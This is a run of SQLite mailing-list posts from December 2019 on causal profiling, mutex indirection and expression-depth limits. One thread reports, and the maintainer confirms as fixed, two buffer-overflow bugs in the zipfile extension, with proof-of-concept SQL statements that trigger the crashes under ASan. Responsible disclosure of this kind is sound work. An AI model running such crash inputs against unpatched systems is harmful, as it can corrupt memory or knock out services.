Re: [sqlite] Causal profiling
On Fri, 27 Dec 2019 at 06:11, Jens Alfke wrote: > > > On Dec 25, 2019, at 2:53 PM, Doug wrote: > > > > I wrote an application in Qt which uses SQLite. Therefore, I invoke > SQLite functions with some wrapper. For a 9% performance improvement in > SQLite using the direct call versus indirect call (as discussed in the > talk), cannot the wrapper functions be changed so my application doesn't > know the difference? > > This change would break the API that lets you set concurrency levels per > connection; instead, the concurrency would be hardcoded at compile time. > _You_ may not be using this API, but there are definitely developers who do. > Note that API is already inherently unreliable though, as compiling with -DSQLITE_THREADSAFE=0 implies -DSQLITE_MUTEX_OMIT which eliminates the mutex calls entirely. Attempting to change the concurrency level at runtime via sqlite3_config() against such a binary will have no effect. (this is explained in the documentation for sqlite3_threadsafe()) -Rowan ___ sqlite-users mailing list sqlite-users@mailinglists.sqlite.org http://mailinglists.sqlite.org/cgi-bin/mailman/listinfo/sqlite-users
Re: [sqlite] Buffer Overflow bugs In Sqlite
On 12/26/19, Yongheng Chen wrote: > Hi, > > We found a global buffer overflow and a heap buffer overflow in sqlite. Thanks for the report. Now fixed on trunk. Just to be clear to on-lookers, these problems are in the "zipfile" extension (https://www.sqlite.org/zipfile.html) not in the SQLite core. Zipfile is included as part of the command-line shell, but it is not included in the SQLite amalgamation, and consequently is unlikely to be included as part of your application. > Here’s the POC (trigger with asan): > > Global buffer overflow: > — > CREATE TABLE v0 ( v6 INTEGER UNIQUE , v5 , v3 , v4 , v2 , v7 , v1 ) ; INSERT > INTO v0 ( v3 ) VALUES ( 0 ) ,( 10 ) ,( 10.10 ) ,( 10 ) ,( 10 ) ,( 10 ) > ,( 10 ) ,( 10 ) ,( 1 ) ,( 'GERMANY' ) ,( 'LG PKG' ) ,( 'SM PKG' ) ,( > '%%green%%' ) ,( 'DELIVER IN PERSON' ) ,( 'MED PKG' ) ; SELECT v5 , lag ( v1 > , 10.10 ) OVER( PARTITION BY v1 ORDER BY v5 ) FROM v0 ; ANALYZE v0 ; > CREATE VIRTUAL TABLE v8 USING zipfile ( v9 PRIMARY KEY ON CONFLICT REPLACE > NOT NULL UNIQUE ON CONFLICT REPLACE ) ; ANALYZE ; REPLACE INTO v8 SELECT * > FROM v0 ; SELECT * FROM v0 AS c NATURAL JOIN v0 AS p , v0 NATURAL JOIN v8 > NATURAL JOIN v0 ; > — > > Heap buffer overflow: > — > CREATE TABLE v0 ( v5 INTEGER UNIQUE , v6 , v7 , v2 , v3 , v4 INTEGER UNIQUE > ON CONFLICT IGNORE CHECK( 10 ) CHECK( 10 ) , v1 ) ; INSERT INTO v0 ( v4 ) > VALUES ( 10 ) ,( 1 ) ,( 10 ) ; SELECT v4 , lag ( v2 , 0.10 ) OVER( > PARTITION BY v4 ORDER BY v6 ) FROM v0 ; ANALYZE v0 ; CREATE VIRTUAL TABLE v8 > USING zipfile ( v9 PRIMARY KEY ON CONFLICT REPLACE NOT NULL UNIQUE ) ; > ANALYZE ; REPLACE INTO v8 SELECT * FROM v0 ; SELECT * FROM v8 AS c NATURAL > JOIN v8 AS p , v0 NATURAL JOIN v8 NATURAL JOIN v8 ; > — > > The bug exists in the latest development code of sqlite. > > Yongheng & Rui > > ___ > sqlite-users mailing list > sqlite-users@mailinglists.sqlite.org > http://mailinglists.sqlite.org/cgi-bin/mailman/listinfo/sqlite-users > -- D. Richard Hipp d...@sqlite.org ___ sqlite-users mailing list sqlite-users@mailinglists.sqlite.org http://mailinglists.sqlite.org/cgi-bin/mailman/listinfo/sqlite-users
Re: [sqlite] Causal profiling
> -Original Message- > From: sqlite-users > On Behalf Of Jens Alfke > Sent: Thursday, December 26, 2019 3:11 PM > To: SQLite mailing list > Subject: Re: [sqlite] Causal profiling > > > > > On Dec 25, 2019, at 2:53 PM, Doug wrote: > > > > I wrote an application in Qt which uses SQLite. Therefore, I > invoke SQLite functions with some wrapper. For a 9% performance > improvement in SQLite using the direct call versus indirect call > (as discussed in the talk), cannot the wrapper functions be > changed so my application doesn't know the difference? > > This change would break the API that lets you set concurrency > levels per connection; instead, the concurrency would be hardcoded > at compile time. _You_ may not be using this API, but there are > definitely developers who do. Can you explain what the API is that you use to "set concurrency levels per connection", please? Is it a parameter on open() or its own function call? And how would the API break, exactly? The talk suggested removing the SQLite virtual table of functions (specifically the call to free a mutex). The user calls the function directly. How does that break an API? > This would especially be a problem for environments where SQLite > is provided as a shared library in the operating system (e.g. iOS, > macOS). The concurrency level would then be up to the platform > vendor, not the application developer. (Unless they bundle their > own copy of SQLite in their app.) > > One possible workaround would be a compile option that enables the > direct calls, but which is off by default. People who wanted > mutexes but with direct calls could then set that option. > > [deletia] > > —Jens > ___ > sqlite-users mailing list > sqlite-users@mailinglists.sqlite.org > http://mailinglists.sqlite.org/cgi-bin/mailman/listinfo/sqlite- > users ___ sqlite-users mailing list sqlite-users@mailinglists.sqlite.org http://mailinglists.sqlite.org/cgi-bin/mailman/listinfo/sqlite-users
Re: [sqlite] Causal profiling
> On Dec 25, 2019, at 2:53 PM, Doug wrote: > > I wrote an application in Qt which uses SQLite. Therefore, I invoke SQLite > functions with some wrapper. For a 9% performance improvement in SQLite using > the direct call versus indirect call (as discussed in the talk), cannot the > wrapper functions be changed so my application doesn't know the difference? This change would break the API that lets you set concurrency levels per connection; instead, the concurrency would be hardcoded at compile time. _You_ may not be using this API, but there are definitely developers who do. This would especially be a problem for environments where SQLite is provided as a shared library in the operating system (e.g. iOS, macOS). The concurrency level would then be up to the platform vendor, not the application developer. (Unless they bundle their own copy of SQLite in their app.) One possible workaround would be a compile option that enables the direct calls, but which is off by default. People who wanted mutexes but with direct calls could then set that option. > On Dec 25, 2019, at 3:25 PM, Richard Hipp wrote: > > By "untestable" I mean that we would be unable to obtain 100% MC/DC > (essentually 100% branch test coverage) in an SQLite compiled as for > delivery. Because you'd only be testing one concurrency mode? But there are plenty of existing compile-time options in SQLite; don't you have to test multiple builds of the library to test those? How would this one be different? —Jens ___ sqlite-users mailing list sqlite-users@mailinglists.sqlite.org http://mailinglists.sqlite.org/cgi-bin/mailman/listinfo/sqlite-users
[sqlite] Buffer Overflow bugs In Sqlite
Hi, We found a global buffer overflow and a heap buffer overflow in sqlite. Here’s the POC (trigger with asan): Global buffer overflow: — CREATE TABLE v0 ( v6 INTEGER UNIQUE , v5 , v3 , v4 , v2 , v7 , v1 ) ; INSERT INTO v0 ( v3 ) VALUES ( 0 ) ,( 10 ) ,( 10.10 ) ,( 10 ) ,( 10 ) ,( 10 ) ,( 10 ) ,( 10 ) ,( 1 ) ,( 'GERMANY' ) ,( 'LG PKG' ) ,( 'SM PKG' ) ,( '%%green%%' ) ,( 'DELIVER IN PERSON' ) ,( 'MED PKG' ) ; SELECT v5 , lag ( v1 , 10.10 ) OVER( PARTITION BY v1 ORDER BY v5 ) FROM v0 ; ANALYZE v0 ; CREATE VIRTUAL TABLE v8 USING zipfile ( v9 PRIMARY KEY ON CONFLICT REPLACE NOT NULL UNIQUE ON CONFLICT REPLACE ) ; ANALYZE ; REPLACE INTO v8 SELECT * FROM v0 ; SELECT * FROM v0 AS c NATURAL JOIN v0 AS p , v0 NATURAL JOIN v8 NATURAL JOIN v0 ; — Heap buffer overflow: — CREATE TABLE v0 ( v5 INTEGER UNIQUE , v6 , v7 , v2 , v3 , v4 INTEGER UNIQUE ON CONFLICT IGNORE CHECK( 10 ) CHECK( 10 ) , v1 ) ; INSERT INTO v0 ( v4 ) VALUES ( 10 ) ,( 1 ) ,( 10 ) ; SELECT v4 , lag ( v2 , 0.10 ) OVER( PARTITION BY v4 ORDER BY v6 ) FROM v0 ; ANALYZE v0 ; CREATE VIRTUAL TABLE v8 USING zipfile ( v9 PRIMARY KEY ON CONFLICT REPLACE NOT NULL UNIQUE ) ; ANALYZE ; REPLACE INTO v8 SELECT * FROM v0 ; SELECT * FROM v8 AS c NATURAL JOIN v8 AS p , v0 NATURAL JOIN v8 NATURAL JOIN v8 ; — The bug exists in the latest development code of sqlite. Yongheng & Rui ___ sqlite-users mailing list sqlite-users@mailinglists.sqlite.org http://mailinglists.sqlite.org/cgi-bin/mailman/listinfo/sqlite-users
[sqlite] Recommended compiler options
Is SQLITE_MAX_EXPR_DEPTH=0 still a recommended compiler option? According to https://www.sqlite.org/draft/compile.html SQLITE_MAX_EXPR_DEPTH=0. Setting the maximum expression parse-tree depth to zero disables all checking of the expression parse-tree depth, which simplifies the code resulting in faster execution, and helps the parse tree to use less memory. But, in the "sqliteLimit.h" header file comments for version 3.30.1, /* ** The maximum depth of an expression tree. This is limited to ** some extent by SQLITE_MAX_SQL_LENGTH. But sometime you might ** want to place more severe limits on the complexity of an ** expression. ** ** A value of 0 used to mean that the limit was not enforced. ** But that is no longer true. The limit is now strictly enforced ** at all times. */ #ifndef SQLITE_MAX_EXPR_DEPTH # define SQLITE_MAX_EXPR_DEPTH 1000 #endif it seems to be at odds with the html documentation at first glance. -- Sent from: http://sqlite.1065341.n5.nabble.com/ ___ sqlite-users mailing list sqlite-users@mailinglists.sqlite.org http://mailinglists.sqlite.org/cgi-bin/mailman/listinfo/sqlite-users
